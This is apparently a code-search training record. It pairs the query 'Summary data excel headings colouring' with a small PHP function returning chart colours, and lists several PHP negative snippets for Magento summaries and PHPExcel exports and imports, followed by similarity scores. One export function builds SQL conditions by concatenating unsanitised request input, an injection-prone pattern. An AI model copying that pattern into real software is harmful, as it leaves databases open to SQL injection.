resources\n if(empty($type)){\n $type = Minematic_Connector_Model_Config::DATA_TYPE_ALL;\n }\n\n //Get time zone set in Magento\n $magento_timezone = new DateTimeZone(Mage::getStoreConfig('general/locale/timezone'));\n\n //Get time zone offset for GMT\n\t\t$date_time = new DateTime('now', $magento_timezone);\n\t\t$gmt_offest = 'GMT '. $date_time->format('O');\n\n //Init summary array\n $summary = array(\n\t\t\t'CURDATE' => time(),\n\t\t\t'TIMEZONE' => $gmt_offest,\n );\n\n //Get summary data for items (products)\n if ($type == Minematic_Connector_Model_Config::DATA_TYPE_ITEMS || $type == Minematic_Connector_Model_Config::DATA_TYPE_ALL){\n try {\n $cpe_table = Mage::getSingleton('core/resource')->getTableName('catalog_product_entity');\n\n $coreResource = Mage::getSingleton('core/resource');\n \n $conn = $coreResource->getConnection('core_read');\n\n //Preparing query\n $sql = 'SELECT count(distinct entity_id) count, Month(`updated_at`) as month, Year(`updated_at`) as year\n FROM '.$cpe_table .\n ' GROUP BY Month(`updated_at`), Year(updated_at)\n ORDER BY updated_at ASC';\n \n //Feth all items \n $_products = $conn->fetchAll($sql);\n\n //Preparing data\n $products = array();\n foreach ($_products as $_product) {\n //Format month year\n\t\t\t\t\t$month_year = str_pad($_product['month'], 2, \"0\", STR_PAD_LEFT).'-'.$_product['year'];\n\t\t\t\t\t$products[$month_year] = $_product['count'];\n }\n\n //Adding item to summary array\n $summary['ITEM'] = $products;\n }\n catch(Exception $e)\n {\n \t//Log exception in case something goes wrong\n Mage::logException(\"Exception while querying the database for product data \" . $e->getMessage());\n \n }\n }\n\n //Get summary data for users (customers)\n if ($type == Minematic_Connector_Model_Config::DATA_TYPE_USERS || $type == Minematic_Connector_Model_Config::DATA_TYPE_ALL){\n try {\n $ce_table = Mage::getSingleton('core/resource')->getTableName('customer_entity');\n\n $coreResource = Mage::getSingleton('core/resource');\n \n $conn = $coreResource->getConnection('core_read');\n\n //Preparing query\n $sql = 'SELECT count(distinct entity_id) count, Month(`updated_at`) as month, Year(`updated_at`) as year\n FROM '.$ce_table .\n ' GROUP BY Month(`updated_at`), Year(updated_at)\n ORDER BY updated_at ASC';\n \n //Fetch data \n $_customers = $conn->fetchAll($sql);\n\n //Preparing data\n $customers = array();\n foreach ($_customers as $_customer) {\n \t//Format month year\n\t\t\t\t\t$month_year = str_pad($_customer['month'], 2, \"0\", STR_PAD_LEFT).'-'.$_customer['year'];\n\t\t\t\t\t$customers[$month_year] = $_customer['count'];\n }\n\n //Adding item to summary array\n $summary['USER'] = $customers;\n }\n catch(Exception $e)\n {\n \t//Log exception in case something goes wrong\n Mage::logException(\"Exception while querying the database for user data \" . $e->getMessage());\n }\n }\n\n //Get summary data for events\n if ($type == Minematic_Connector_Model_Config::DATA_TYPE_EVENTS || $type == Minematic_Connector_Model_Config::DATA_TYPE_ALL)\n {\n try {\n $sfo_table = Mage::getSingleton('core/resource')->getTableName('sales_flat_order');\n\n $coreResource = Mage::getSingleton('core/resource');\n \n $conn = $coreResource->getConnection('core_read');\n\n //Preparing query\n $sql = 'SELECT count(distinct entity_id) count, Month(`created_at`) as month, Year(`created_at`) as year\n FROM '.$sfo_table .\n ' GROUP BY Month(`created_at`), Year(created_at)\n ORDER BY created_at ASC';\n \n $_events = $conn->fetchAll($sql);\n\n //Preparing data\n $events = array();\n foreach ($_events as $_event) {\n //Format month year\n\t\t\t\t\t$month_year = str_pad($_event['month'], 2, \"0\", STR_PAD_LEFT).'-'.$_event['year'];\n\t\t\t\t\t$events[$month_year] = $_event['count'];\n }\n\n //Adding item to summary array\n $summary['EVENT'] = $events;\n }\n catch(Exception $e)\n {\n \t//Log exception in case something goes wrong\n Mage::logException(\"Exception while querying the database for events data \" . $e->getMessage());\n }\n }\n\n //Return summay data\n return $summary;\n }", "function import_data() {\n\t\t$sync_tables = $this->config->item('sync_tables');\n\n\t\t$this->db_tools->import_data( $sync_tables );\n\t\t$this->db_tools->echo_import_data();\n\t}", "public static function reportSale($objPHPExcel)\n {\n $objPHPExcel->getActiveSheet()->mergeCells('A1:B1');\n $objPHPExcel->getActiveSheet()->setCellValue(\"A1\", 'Speed Printz Pte. Ltd', true);\n\n $objPHPExcel->getActiveSheet()->setCellValue(\"A2\", 'Sales Report', true);\n $objPHPExcel->getActiveSheet()->setCellValue(\"A3\", 'Report Generated on:', true);\n $objPHPExcel->getActiveSheet()->setCellValue(\"B3\", date('d-m-Y'), true);\n\n $objPHPExcel->getActiveSheet()->setCellValue(\"A4\", 'Date from:', true);\n $objPHPExcel->getActiveSheet()->setCellValue(\"B4\", Yii::app()->session['from_date'], true);\n $objPHPExcel->getActiveSheet()->setCellValue(\"C4\", 'Date to:', true);\n $objPHPExcel->getActiveSheet()->setCellValue(\"D4\", Yii::app()->session['to_date'], true);\n\n\n $objPHPExcel->getActiveSheet()->setCellValue(\"A6\", 'S/N', true);\n $objPHPExcel->getActiveSheet()->setCellValue(\"B6\", 'Order Date', true);\n $objPHPExcel->getActiveSheet()->setCellValue(\"C6\", 'Order No', true);\n $objPHPExcel->getActiveSheet()->setCellValue(\"D6\", 'Client Name', true);\n $objPHPExcel->getActiveSheet()->setCellValue(\"E6\", 'Sub Total ($)', true);\n $objPHPExcel->getActiveSheet()->setCellValue(\"F6\", 'Delivery Fee ($)', true);\n $objPHPExcel->getActiveSheet()->setCellValue(\"G6\", 'GST ($)', true);\n $objPHPExcel->getActiveSheet()->setCellValue(\"H6\", 'Total ($)', true);\n $objPHPExcel->getActiveSheet()->setCellValue(\"I6\", 'Order Status', true);\n $objPHPExcel->getActiveSheet()->getStyle('A6:I6')->getFont()->setSize(13)->setBold(true);\n $objPHPExcel->getActiveSheet()->getStyle('A6:I6')->getFont()->getColor()->setRGB('000000');\n\n\n $objPHPExcel->getActiveSheet()->getColumnDimension('A')->setAutoSize(true);\n $objPHPExcel->getActiveSheet()->getColumnDimension('B')->setAutoSize(true);\n $objPHPExcel->getActiveSheet()->getColumnDimension('C')->setAutoSize(true);\n $objPHPExcel->getActiveSheet()->getColumnDimension('D')->setAutoSize(true);\n $objPHPExcel->getActiveSheet()->getColumnDimension('E')->setAutoSize(true);\n $objPHPExcel->getActiveSheet()->getColumnDimension('F')->setAutoSize(true);\n $objPHPExcel->getActiveSheet()->getColumnDimension('G')->setAutoSize(true);\n $objPHPExcel->getActiveSheet()->getColumnDimension('H')->setAutoSize(true);\n $objPHPExcel->getActiveSheet()->getColumnDimension('I')->setAutoSize(true);\n\n $objPHPExcel->getActiveSheet()->getStyle(\"A\")->getAlignment()->setHorizontal(PHPExcel_Style_Alignment::HORIZONTAL_LEFT);\n $objPHPExcel->getActiveSheet()->getStyle(\"B\")->getAlignment()->setHorizontal(PHPExcel_Style_Alignment::HORIZONTAL_LEFT);\n $objPHPExcel->getActiveSheet()->getStyle(\"C\")->getAlignment()->setHorizontal(PHPExcel_Style_Alignment::HORIZONTAL_LEFT);\n $objPHPExcel->getActiveSheet()->getStyle(\"D\")->getAlignment()->setHorizontal(PHPExcel_Style_Alignment::HORIZONTAL_LEFT);\n $objPHPExcel->getActiveSheet()->getStyle(\"E\")->getAlignment()->setHorizontal(PHPExcel_Style_Alignment::HORIZONTAL_RIGHT);\n $objPHPExcel->getActiveSheet()->getStyle(\"F\")->getAlignment()->setHorizontal(PHPExcel_Style_Alignment::HORIZONTAL_RIGHT);\n $objPHPExcel->getActiveSheet()->getStyle(\"G\")->getAlignment()->setHorizontal(PHPExcel_Style_Alignment::HORIZONTAL_RIGHT);\n $objPHPExcel->getActiveSheet()->getStyle(\"H\")->getAlignment()->setHorizontal(PHPExcel_Style_Alignment::HORIZONTAL_RIGHT);\n $objPHPExcel->getActiveSheet()->getStyle(\"I\")->getAlignment()->setHorizontal(PHPExcel_Style_Alignment::HORIZONTAL_LEFT);\n\n\n $objPHPExcel->getActiveSheet()->getStyle(\"A6:I6\")->getAlignment()->setHorizontal(PHPExcel_Style_Alignment::HORIZONTAL_CENTER);\n $styleArray2 = array('borders' => array('allborders' => array('style' => PHPExcel_Style_Border::BORDER_MEDIUM),));\n $objPHPExcel->getActiveSheet()->getStyle('A6:I6')->getFill()->setFillType(PHPExcel_Style_Fill::FILL_SOLID);\n $objPHPExcel->getActiveSheet()->getStyle('A6:I6')->applyFromArray($styleArray2);\n\n $models = Yii::app()->session['reportSale'];\n\n $index = 7;\n if(!empty($models))\n {\n foreach ($models as $one) \n {\n if( empty($one) ) continue;\n $objPHPExcel->getActiveSheet()->setCellValue(\"A\" . $index, $index-5 , true);\n $objPHPExcel->getActiveSheet()->setCellValue(\"B\" . $index, Yii::app()->format->date($one->created_date) , true);\n $objPHPExcel->getActiveSheet()->setCellValue(\"C\" . $index, $one->order_no , true);\n $objPHPExcel->getActiveSheet()->setCellValue(\"D\" . $index, $one->user_name , true);\n $objPHPExcel->getActiveSheet()->setCellValue(\"E\" . $index, $one->sub_total, true);\n $objPHPExcel->getActiveSheet()->setCellValue(\"F\" . $index, $one->shipping_fee , true);\n $objPHPExcel->getActiveSheet()->setCellValue(\"G\" . $index, $one->gst , true);\n $objPHPExcel->getActiveSheet()->setCellValue(\"H\" . $index, $one->total , true);\n $objPHPExcel->getActiveSheet()->setCellValue(\"I\" . $index, SpOrders::getStatusOrder($one), true);\n $index++;\n\n \n }\n }\n\n //format size cho tung Column\n $objPHPExcel->getActiveSheet()->getColumnDimension('A')->setAutoSize(true);\n $objPHPExcel->getActiveSheet()->getColumnDimension('B')->setAutoSize(true);\n $objPHPExcel->getActiveSheet()->getColumnDimension('C')->setAutoSize(true);\n $objPHPExcel->getActiveSheet()->getColumnDimension('D')->setAutoSize(true);\n $objPHPExcel->getActiveSheet()->getColumnDimension('E')->setAutoSize(true);\n $objPHPExcel->getActiveSheet()->getColumnDimension('F')->setAutoSize(true);\n $objPHPExcel->getActiveSheet()->getColumnDimension('G')->setAutoSize(true);\n $objPHPExcel->getActiveSheet()->getColumnDimension('H')->setAutoSize(true);\n $objPHPExcel->getActiveSheet()->getColumnDimension('I')->setAutoSize(true);\n\n $objPHPExcel->getActiveSheet()->getStyle('A6:I'.($index-1))->getFill()->setFillType(PHPExcel_Style_Fill::FILL_SOLID);\n $objPHPExcel->getActiveSheet()->getStyle('A6:I'.($index-1))->applyFromArray($styleArray2);\n // $styleArray2 = array('borders' => array('allborders' => array('style' => PHPExcel_Style_Border::BORDER_MEDIUM),));\n // $objPHPExcel->getActiveSheet()->getStyle('A1:I1')->getFill()->setFillType(PHPExcel_Style_Fill::FILL_SOLID);\n // $objPHPExcel->getActiveSheet()->getStyle('A1:I1')->applyFromArray($styleArray2);\n\n // $styleArray = array(\n // 'borders' => array(\n // 'right' => array(\n // 'style' => PHPExcel_Style_Border::BORDER_THIN,\n // 'color' => array(\n // 'argb' => '000000',\n // ),\n // ),\n // 'left' => array(\n // 'style' => PHPExcel_Style_Border::BORDER_THIN,\n // 'color' => array(\n // 'argb' => '000000',\n // ),\n // ),\n // )\n // );\n\n // $styleBottom = array(\n // 'borders' => array(\n // 'bottom' => array(\n // 'style' => PHPExcel_Style_Border::BORDER_THIN,\n // 'color' => array(\n // 'argb' => '000000',\n // ),\n // )\n // )\n // );\n // $objPHPExcel->getActiveSheet()->getStyle('A1:I'.($index-1))->applyFromArray($styleArray, false);\n // $objPHPExcel->getActiveSheet()->getStyle('A'.($index-1).':I'.($index-1))->applyFromArray($styleBottom, false);\n return $objPHPExcel;\n }", "public function generateExcelFile($yp_id) {\n $this->load->library('excel');\n $this->activeSheetIndex = $this->excel->setActiveSheetIndex(0);\n\n //name the worksheet\n $this->excel->getActiveSheet()->setTitle('Pocket Money');\n $exceldataHeader = \"\";\n $exceldataValue = \"\";\n $headerCount = 1;\n if (!empty($yp_id)) {\n $medication_name = $this->input->get('professional_name');\n $search_date = $this->input->get('search_date');\n $search_time = $this->input->get('search_time');\n $search = $this->input->get('search');\n $sortfield = $this->input->get('sortfield');\n $sortby = $this->input->get('sortby');\n $data = [];\n //get YP information\n $table = YP_DETAILS . ' as yp';\n $match = array(\"yp.yp_id\" => $yp_id);\n $fields = array(\"yp.yp_fname,yp.yp_lname,yp.date_of_birth,sd.email,ch.care_home_name\");\n $join_tables = array(SOCIAL_WORKER_DETAILS . ' as sd' => 'sd.yp_id=yp.yp_id', CARE_HOME . ' as ch' => 'ch.care_home_id = yp.care_home');\n $data['YP_details'] = $this->common_model->get_records($table, $fields, $join_tables, 'left', $match, '', '', '', '', '', '', '');\n $match = array('am_form_id' => 1);\n $formsdata = $this->common_model->get_records(AM_FORM, array(\"form_json_data\"), '', '', $match);\n if (!empty($formsdata)) {\n $formsdata_expr = json_decode($formsdata[0]['form_json_data'], TRUE);\n }\n\n $match = array('yp_id' => $yp_id);\n $medication_data = $this->common_model->get_records(MEDICATION, '', '', '', $match);\n $data['stock'] = '';\n if (!empty($medication_data)) {\n $data['stock'] = $medication_data[0]['stock'];\n }\n $where = \"mc.yp_id = \" . $yp_id;\n\n if ($search == 1) {\n if (!empty($medication_name)) {\n $where .= ' AND mc.select_medication = ' . $medication_name;\n }\n if (!empty($search_date)) {\n $search_date = dateformat($search_date);\n $where .= ' AND mc.date_given = \"' . $search_date . '\"';\n }\n if (!empty($search_time)) {\n $search_time = dbtimeformat($search_time);\n $where .= ' AND mc.time_given = \"' . $search_time . '\"';\n }\n \n }\n\n $login_user_id = $this->session->userdata['LOGGED_IN']['ID'];\n $table = ADMINISTER_MEDICATION . ' as mc';\n $fields = array(\"mc.*, md.stock,mc.date_given as date_given,time_given as time_given\");\n $join_tables = array(MEDICATION . ' as md' => 'md.medication_id=mc.select_medication');\n $data['information'] = $this->common_model->get_records($table, $fields, $join_tables, 'left', '', '', '', '', $sortfield, $sortby, '', $where);\n\n $data['crnt_view'] = $this->viewname;\n $data['ypid'] = $yp_id;\n $form_field = array();\n $exceldataHeader = array();\n if (!empty($formsdata_expr)) {\n foreach ($formsdata_expr as $row) {\n $exceldataHeader[] .=html_entity_decode($row['label']);\n }\n $exceldataHeader[] .= 'Quantity Remaining';\n }\n\n if (!empty($formsdata)) {\n $sheet = $this->excel->getActiveSheet();\n $this->excel->setActiveSheetIndex(0)->setTitle('ADMINISTRATION HISTORY LOG');\n $sheet->getStyle('A1:Z1')->getFont()->setBold(true);\n $sheet->getColumnDimension('A')->setWidth(35);\n $sheet->getColumnDimension('B')->setWidth(12);\n $sheet->getColumnDimension('C')->setWidth(10);\n $sheet->getColumnDimension('D')->setWidth(15);\n $sheet->getColumnDimension('E')->setWidth(8);\n $sheet->getColumnDimension('F')->setWidth(25);\n $sheet->getColumnDimension('G')->setWidth(15);\n $sheet->getColumnDimension('H')->setWidth(20);\n $sheet->getColumnDimension('I')->setWidth(20);\n $sheet->getColumnDimension('J')->setWidth(15);\n $sheet->getColumnDimension('K')->setWidth(15);\n $sheet->fromArray($exceldataHeader, Null, 'A1')->getStyle('A1')->getFont()->setBold(true); // Set Header Data\n\n if (!empty($data['information'])) {\n $col = 2;\n foreach ($data['information'] as $data) {\n if (!empty($formsdata_expr)) {\n $exceldataValue = array();\n foreach ($formsdata_expr as $row) {\n if ($row['type'] == 'date') {\n if ((!empty($data[$row['name']]) && $data[$row['name']] != '0000-00-00')) {\n $exceldataValue[] .= configDateTime($data[$row['name']]);\n }\n } else if($row['type'] == 'text' && $row['subtype'] == 'time'){\n $exceldataValue[] .= timeformat($data[$row['name']]); \n } else if ($row['type'] == 'select') {\n if (!empty($data[$row['name']])) {\n if (!empty($row['description']) && $row['description'] == 'get_user') {\n\n $get_data = $this->common_model->get_single_user($data[$row['name']]);\n $exceldataValue[] .=!empty($get_data[0]['username']) ? $get_data[0]['username'] : '';\n } else if (!empty($row['description']) && $row['description'] == 'get_medication') {\n\n $get_medication_data = $this->common_model->get_single_medication($data[$row['name']]);\n $exceldataValue[] .= !empty($get_medication_data[0]['medication_name']) ? $get_medication_data[0]['medication_name'] : '';\n } else {\n $exceldataValue[] .= !empty($data[$row['name']]) ? $data[$row['name']] : '';\n }\n } else {\n $exceldataValue[] .= !empty($data[$row['name']]) ? $data[$row['name']] : '';\n }\n } else {\n $exceldataValue[] .= !empty($data[$row['name']]) ? $data[$row['name']] : '';\n }\n }\n $exceldataValue[] .= !empty($data['available_stock']) ? $data['available_stock'] : '';\n }\n $sheet->fromArray($exceldataValue, Null, 'A' . $col)->getStyle('A' . $col)->getFont()->setBold(false);\n $col ++;\n } // end recordData foreach\n }\n }\n }\n $fileName = 'ADMINISTRATION HISTORY LOG' . date('Y-m-d H:i:s') . '.xls'; // Generate file name\n $this->downloadExcelFile($this->excel, $fileName); // download function Xls file function call\n }", "public function getStatisticsCSV();", "public function dataTable();", "function export_log_trx_pendebetan()\n\t{\n\t\t$trx_date=$this->uri->segment(3);\n\t\t$angsuran_id=$this->uri->segment(4);\n\t\t$datas = $this->model_transaction->get_log_trx_pendebetan($trx_date,$angsuran_id);\n\t\t$data_angsuran_temp = $this->model_transaction->get_mfi_angsuran_temp_by_angsuran_id($angsuran_id);\n\n\t\t// Create new PHPExcel object\n\t\t$objPHPExcel = $this->phpexcel;\n\t\t// Set document properties\n\t\t$objPHPExcel->getProperties()->setCreator(\"MICROFINANCE\")\n\t\t\t\t\t\t\t\t\t ->setLastModifiedBy(\"MICROFINANCE\")\n\t\t\t\t\t\t\t\t\t ->setTitle(\"Office 2007 XLSX Test Document\")\n\t\t\t\t\t\t\t\t\t ->setSubject(\"Office 2007 XLSX Test Document\")\n\t\t\t\t\t\t\t\t\t ->setDescription(\"REPORT, generated using PHP classes.\")\n\t\t\t\t\t\t\t\t\t ->setKeywords(\"REPORT\")\n\t\t\t\t\t\t\t\t\t ->setCategory(\"Test result file\");\n\t\t\t\t\t\t\t\t\t \n\t\t$objPHPExcel->setActiveSheetIndex(0); \n\t\t\n\t\t/*\n\t\t| BORDER OPTION\n\t\t*/\n\t\t$styleArray['borders']['outline']['style']=PHPExcel_Style_Border::BORDER_THIN;\n\t\t$styleArray['borders']['outline']['color']['rgb']='000000';\n\t\t/*\n\t\t| SET COLUMN WIDTH\n\t\t*/\n\t\t$objPHPExcel->getActiveSheet()->getColumnDimension('A')->setWidth(15);\n\t\t$objPHPExcel->getActiveSheet()->getColumnDimension('B')->setWidth(30);\n\t\t$objPHPExcel->getActiveSheet()->getColumnDimension('C')->setWidth(20);\n\t\t$objPHPExcel->getActiveSheet()->getColumnDimension('D')->setWidth(20);\n\t\t$objPHPExcel->getActiveSheet()->getColumnDimension('E')->setWidth(20);\n\n\t\t/*\n\t\t| ROW HEADER TITLE\n\t\t*/\n\t\t$row=1;\n\t\t$objPHPExcel->getActiveSheet()->setCellValue('A'.$row,\"List Angsuran Ter Debet\");\n\t\t$objPHPExcel->getActiveSheet()->getStyle('A'.$row)->getFont()->setBold(true);\n\t\t\n\t\t$row+=2;\n\t\t$objPHPExcel->getActiveSheet()->setCellValue('A'.$row,\"NIK\");\n\t\t$objPHPExcel->getActiveSheet()->setCellValue('B'.$row,\"Nama\");\n\t\t$objPHPExcel->getActiveSheet()->setCellValue('C'.$row,\"Jumlah Pembayaran\");\n\t\t$objPHPExcel->getActiveSheet()->setCellValue('D'.$row,\"Jumlah Terdebet\");\n\t\t$objPHPExcel->getActiveSheet()->setCellValue('E'.$row,\"Selisih\");\n\t\t$objPHPExcel->getActiveSheet()->getStyle('A'.$row.':E'.$row)->getFont()->setBold(true);\n\t\t$objPHPExcel->getActiveSheet()->getStyle('A'.$row.':A'.$row)->applyFromArray($styleArray);\n\t\t$objPHPExcel->getActiveSheet()->getStyle('B'.$row.':B'.$row)->applyFromArray($styleArray);\n\t\t$objPHPExcel->getActiveSheet()->getStyle('C'.$row.':C'.$row)->applyFromArray($styleArray);\n\t\t$objPHPExcel->getActiveSheet()->getStyle('D'.$row.':D'.$row)->applyFromArray($styleArray);\n\t\t$objPHPExcel->getActiveSheet()->getStyle('E'.$row.':E'.$row)->applyFromArray($styleArray);\n\t\t$objPHPExcel->getActiveSheet()->getStyle('A'.$row.':E'.$row)->getAlignment()->setHorizontal(PHPExcel_Style_Alignment::HORIZONTAL_CENTER);\n\t\t$row+=1;\n\t\t/*\n\t\t| ROW DATA\n\t\t*/\n\t\tfor($i=0;$i<count($datas);$i++){\n\t\t\t$objPHPExcel->getActiveSheet()->setCellValue('A'.$row,$datas[$i]['nik']);\n\t\t\t$objPHPExcel->getActiveSheet()->setCellValue('B'.$row,$datas[$i]['nama']);\n\t\t\t$objPHPExcel->getActiveSheet()->setCellValue('C'.$row,$datas[$i]['jumlah_bayar']);\n\t\t\t$objPHPExcel->getActiveSheet()->setCellValue('D'.$row,$datas[$i]['jumlah_angsuran']);\n\t\t\t$objPHPExcel->getActiveSheet()->setCellValue('E'.$row,($datas[$i]['jumlah_bayar']-$datas[$i]['jumlah_angsuran']));\n\t\t\t$objPHPExcel->getActiveSheet()->getStyle('A'.$row.':E'.$row)->getFont()->setSize(11);\n\t\t\t$row++;\n\t\t}\n\n\t\theader('Content-Type: application/vnd.openxmlformats-officedocument.spreadsheetml.sheet');\n\t\theader('Content-Disposition: attachment;filename=\"ANGSURAN TER DEBET_'.$data_angsuran_temp['keterangan'].'.xlsx\"');\n\t\theader('Cache-Control: max-age=0');\n\n\t\t$objWriter = PHPExcel_IOFactory::createWriter($objPHPExcel, 'Excel2007');\n\t\t$objWriter->save('php://output');\n\t}", "protected function setHeaders()\n {\n $row = 1; \n $this->objPHPExcel->getActiveSheet()->getColumnDimension('A')->setAutoSize(true);\n \n $mergeCells = 'A' . $row . ':' . 'E' . $row;\n $this->setCellValue('A' . $row, \"Differences between files.\");\n $this->objPHPExcel->getActiveSheet()->getStyle($mergeCells)->getFont()->setBold(true);\n $this->objPHPExcel->getActiveSheet()->mergeCells($mergeCells);\n $this->objPHPExcel->getActiveSheet()->getRowDimension($row)->setRowHeight(25);\n $this->objPHPExcel->getActiveSheet()->getStyle($mergeCells)->getAlignment()->setHorizontal(PHPExcel_Style_Alignment::HORIZONTAL_CENTER);\n \n \n $row++;\n $cell = 'A' . $row;\n $this->setCellValue($cell, \"Comparing by: \");\n $this->objPHPExcel->getActiveSheet()->getStyle($cell)->getFont()->setBold(true);\n \n $mergeCells = 'B' . $row . ':' . 'C' . $row;\n $this->setCellValue('B' . $row, $this->getCompareTypeLabel()); \n $this->objPHPExcel->getActiveSheet()->mergeCells($mergeCells);\n \n \n $row++;\n $cell = 'A' . $row;\n $this->setCellValue($cell, \"Configuration: \");\n $this->objPHPExcel->getActiveSheet()->getStyle($cell)->getFont()->setBold(true);\n \n $mergeCells = 'B' . $row . ':' . 'M' . $row;\n $this->setCellValue('B' . $row, $this->settings['configuration']); \n $this->objPHPExcel->getActiveSheet()->mergeCells($mergeCells);\n \n $row += 5;\n $columns = $this->getColumns(); \n foreach ($columns as $columnName => $column) {\n $cell = $columnName . $row;\n $this->setCellValue($cell, $column['title']);\n $this->objPHPExcel->getActiveSheet()->getColumnDimension($columnName)->setAutoSize(true);\n $this->objPHPExcel->getActiveSheet()->getStyle($cell)->getFont()->setBold(true);\n }\n \n return $row;\n }", "public function import()\n\t{\n\t\tinclude APPPATH . 'third_party/PHPExcel/PHPExcel.php';\n\n\t\t$excelreader = new PHPExcel_Reader_Excel2007();\n\t\t$loadexcel = $excelreader->load('excel/' . $this->filename . '.xlsx'); // Load file yang telah diupload ke folder excel\n\t\t$sheet = $loadexcel->getActiveSheet()->toArray(null, true, true, true, true, true, true, true, true, true, true, true, true, true, true, true);\n\n\t\t// Buat sebuah variabel array untuk menampung array data yg akan kita insert ke database\n\t\t$data = array();\n\n\t\t$numrow = 3;\n\t\t$kosong = 0;\n\t\tforeach ($sheet as $row) {\n\t\t\t// Cek $numrow apakah lebih dari 1\n\t\t\t// Artinya karena baris pertama adalah nama-nama kolom\n\t\t\t// Jadi dilewat saja, tidak usah diimport\n\t\t\tif ($numrow > 3) {\n\t\t\t\t// Kita push (add) array data ke variabel data\n\t\t\t\tarray_push($data, array(\n\t\t\t\t\t'cabang' => $row['B'],\n\t\t\t\t\t'temuan' => $row['C'],\n\t\t\t\t\t'nilai_amanah' => $row['D'],\n\t\t\t\t\t'level' => $row['E'],\n\t\t\t\t\t'tingkat' => $row['F'],\n\t\t\t\t\t'avail' => $row['G'],\n\t\t\t\t\t'util' => $row['H'],\n\t\t\t\t\t'nilai_kompeten' => $row['I'],\n\t\t\t\t\t'kaloborasi' => $row['J'],\n\t\t\t\t\t'nilai_harmonis' => $row['K'],\n\t\t\t\t\t'revenue' => $row['L'],\n\t\t\t\t\t'efisiensi' => $row['M'],\n\t\t\t\t\t'nilai_loyal' => $row['N'],\n\t\t\t\t\t'koreksi' => $row['O'],\n\t\t\t\t\t'modul' => $row['P'],\n\t\t\t\t\t'nilai_adaptif' => $row['Q'],\n\t\t\t\t\t'realisasi_kpi' => $row['R'],\n\t\t\t\t\t'realisasi_pkm' => $row['S'],\n\t\t\t\t\t'nilai_kolab' => $row['T'],\n\t\t\t\t\t'nilai_total' => $row['U'],\n\t\t\t\t));\n\t\t\t}\n\n\t\t\t$numrow++; // Tambah 1 setiap kali looping\n\t\t}\n\n\t\t// Panggil fungsi insert_multiple yg telah kita buat sebelumnya di model\n\t\t$this->RaporModel->insert_multiple($data);\n\n\t\tredirect(\"/rapor\"); // Redirect ke halaman awal (ke controller rapor fungsi index)\n\t}" ]
[ "0.6092849", "0.60612524", "0.60158974", "0.5988813", "0.57435596", "0.562292", "0.55843884", "0.5557485", "0.5541577", "0.55327183", "0.5524227", "0.55232024", "0.55130446", "0.5502554", "0.55003166", "0.5494367", "0.5490605", "0.5479977", "0.54690343", "0.5455818", "0.5424696", "0.5418229", "0.5415735", "0.54147816", "0.5408306", "0.53804207", "0.5369706", "0.53651875", "0.536327", "0.5362502", "0.5356464", "0.5336157", "0.5331195", "0.53241384", "0.5322174", "0.53188574", "0.53104997", "0.5298691", "0.5297872", "0.5283583", "0.52834", "0.5263808", "0.52616286", "0.52544534", "0.5253536", "0.52526176", "0.52497315", "0.5243943", "0.5240256", "0.52390015", "0.52352655", "0.52339333", "0.5232266", "0.52266055", "0.52194726", "0.5218312", "0.52036166", "0.5202894", "0.51970625", "0.5192954", "0.51836735", "0.5182251", "0.51739925", "0.51643145", "0.5156031", "0.5153066", "0.5152235", "0.5148233", "0.51346207", "0.5130239", "0.511827", "0.5112693", "0.5107685", "0.5106885", "0.51045066", "0.5098299", "0.50869334", "0.50822145", "0.5080322", "0.5073745", "0.5069659", "0.50628513", "0.50580317", "0.5055524", "0.5051946", "0.50518686", "0.5046425", "0.50439304", "0.5043703", "0.5037743", "0.50307816", "0.5023048", "0.50214916", "0.5021421", "0.50135684", "0.5012046", "0.5010453", "0.5005744", "0.49982578", "0.4997471" ]
0.6524513
0
Summary data excel headings colouring
public static function summaryChartColouring() { return [ '#f1592c', '#f3724c', '#f58b6c', '#f7a48c' ]; }
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "public static function excelSummaryHeadings()\n {\n return [\n 'Industry',\n 'Survey responses',\n 'Employer',\n 'Government body',\n 'Non-government organisation',\n 'Registered training organisation',\n 'Enterprise training provider',\n 'Group training organisation',\n 'Skills service organisation',\n 'Individual',\n 'Trade union',\n 'Industry Association/Peak body',\n 'Statutory authority',\n 'Self-employed',\n 'Not for profit',\n 'School or University',\n 'Other',\n 'Small',\n 'Medium',\n 'Large'\n ];\n }", "function styleHeaderExcel()\n{\n $styleHeader = array(\n 'font' => array(\n 'size' => 16,\n 'name' => 'Calibri',\n ), 'alignment' => array(\n 'vertical' => PHPExcel_Style_Alignment::VERTICAL_CENTER,\n ), 'fill' => array(\n 'type' => PHPExcel_Style_Fill::FILL_GRADIENT_LINEAR,\n 'rotation' => 90,\n 'startcolor' => array(\n 'argb' => 'B5B5B5',\n ), 'endcolor' => array(\n 'argb' => 'E0E0E0',\n ),\n ),\n );\n return $styleHeader;\n}", "public function mombo_main_headings_color() {\n \n \n }", "public static function excelSummaryHeadingsMYSQL()\n {\n return [\n 'employer' => 'Employer',\n 'enterprise_t_p' => 'Enterprise training provider',\n 'government_body' => 'Government body',\n 'group_t_o' => 'Group training organisation',\n 'individual' => 'Individual',\n 'industry_a_p_b' => 'Industry association peak body',\n 'non_gov_body' => 'Non-government organisation',\n 'registered_t_o' => 'Registered training organisation',\n 'skills_s_o' => 'Skills service organisation',\n 'statutory_authority' => 'Statutory authority',\n 'trade_union' => 'Trade union',\n 'self_employed' => 'Self-employed',\n 'not_for_profit' => 'Not for profit',\n 'school_or_university' => 'School or University',\n ];\n }", "function print_header(){\n\t\tglobal $worksheet, $xlsRow;\n\n\t\t$worksheet->set_column(0, 0, 10);\n\t\t$worksheet->set_column(1, 1, 25);\n\t\t$worksheet->set_column(2, 2, 30);\n\t\t$worksheet->set_column(3, 3, 20);\n\t\t$worksheet->set_column(4, 4, 30);\n\t\t$worksheet->set_column(5, 5, 15);\n\t\t$worksheet->set_column(6, 6, 20);\n\t\t$worksheet->set_column(7, 7, 30);\n\t\t$worksheet->set_column(8, 8, 30);\n\t\t$worksheet->set_column(9, 9, 20);\n\t\t$worksheet->set_column(10, 10, 10);\n\n\t\t$xlsRow++;\n\t\t$worksheet->write($xlsRow, 0, \"ลำดับที่\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"TLR\", 0));\n\t\t$worksheet->write($xlsRow, 1, \"ชื่อ-สกุล\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"TLR\", 0));\n\t\t$worksheet->write($xlsRow, 2, \"สาขาวิชา\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"TLRB\", 1));\n\t\t$worksheet->write($xlsRow, 3, \"ระดับการศึกษา\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", 